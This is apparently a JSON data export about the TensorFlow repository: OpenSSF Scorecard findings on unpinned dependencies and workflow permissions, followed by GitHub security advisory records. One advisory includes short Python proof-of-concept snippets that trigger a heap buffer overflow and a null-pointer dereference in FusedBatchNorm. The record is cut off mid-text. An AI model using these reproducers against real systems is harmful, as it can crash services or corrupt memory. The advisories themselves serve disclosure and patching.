by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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.github/workflows/cffconvert.yml:24","Info: found token with 'none' permissions: .github/workflows/issue-on-pr-rollback.yml:1","Warn: topLevel 'security-events' permission set to 'write': .github/workflows/osv-scanner-scheduled.yml:24","Info: topLevel 'contents' permission set to 'read': .github/workflows/osv-scanner-scheduled.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/pylint-presubmit.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-branch-cherrypick.yml:39","Info: topLevel permissions set to 'read-all': .github/workflows/scorecards-analysis.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale-issues.yml:22","Info: found token with 'none' permissions: .github/workflows/update-nightly.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/update-rbe.yml:24"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: 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of bounds read in Tensorflow","description":"### Impact\nThe [TFG dialect of TensorFlow (MLIR)](https://github.com/tensorflow/tensorflow/tree/274df9b02330b790aa8de1cee164b70f72b9b244/tensorflow/core/ir/importexport) makes several assumptions about the incoming `GraphDef` before converting it to the MLIR-based dialect.\n\nIf an attacker changes the `SavedModel` format on disk to invalidate these assumptions and the `GraphDef` is then converted to MLIR-based IR then they can cause a crash in the Python interpreter. Under certain scenarios, heap OOB read/writes are possible.\n    \nThese issues have been discovered via fuzzing and it is possible that more weaknesses exist. We will patch them as they are discovered.\n        \n### Patches\nWe have patched the issue in multiple GitHub commits and these will be included in TensorFlow 2.8.0 and TensorFlow 2.7.1, as both are affected.\n      \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:32:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9x52-887g-fhc2","https://github.com/tensorflow/tensorflow/tree/274df9b02330b790aa8de1cee164b70f72b9b244/tensorflow/core/ir/importexport","https://nvd.nist.gov/vuln/detail/CVE-2022-23594","https://github.com/advisories/GHSA-9x52-887g-fhc2"],"source_kind":"github","identifiers":["GHSA-9x52-887g-fhc2","CVE-2022-23594"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.722Z","updated_at":"2023-02-03T05:05:19.000Z","epss_percentage":0.00018,"epss_percentile":0.02594},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTl4aDQtMjNxNC12Nndy","url":"https://github.com/advisories/GHSA-9xh4-23q4-v6wr","title":"Heap buffer overflow and undefined behavior in `FusedBatchNorm`","description":"### Impact\nThe implementation of `tf.raw_ops.FusedBatchNorm` is vulnerable to a heap buffer overflow:\n      \n```python\nimport tensorflow as tf\n\nx = tf.zeros([10, 10, 10, 6], dtype=tf.float32)\nscale = tf.constant([0.0], shape=[1], dtype=tf.float32)\noffset = tf.constant([0.0], shape=[1], dtype=tf.float32)\nmean = tf.constant([0.0], shape=[1], dtype=tf.float32)\nvariance = tf.constant([0.0], shape=[1], dtype=tf.float32)\nepsilon = 0.0\nexponential_avg_factor = 0.0\ndata_format = \"NHWC\"\nis_training = False\n    \ntf.raw_ops.FusedBatchNorm(\n  x=x, scale=scale, offset=offset, mean=mean, variance=variance,\n  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,\n  data_format=data_format, is_training=is_training)\n```\n  \nIf the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:\n\n```python \nimport tensorflow as tf\nimport numpy as np\n\nx = tf.zeros([10, 10, 10, 1], dtype=tf.float32)\nscale = tf.constant([], shape=[0], dtype=tf.float32)\noffset = tf.constant([], shape=[0], dtype=tf.float32)\nmean = tf.constant([], shape=[0], dtype=tf.float32)\nvariance = tf.constant([], shape=[0], dtype=tf.float32)\nepsilon = 0.0\nexponential_avg_factor = 0.0\ndata_format = \"NHWC\"\nis_training = False\n\ntf.raw_ops.FusedBatchNorm(\n  x=x, scale=scale, offset=offset, mean=mean, variance=variance, \n  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,\n  data_format=data_format, is_training=is_training)\n``` \n\nThe  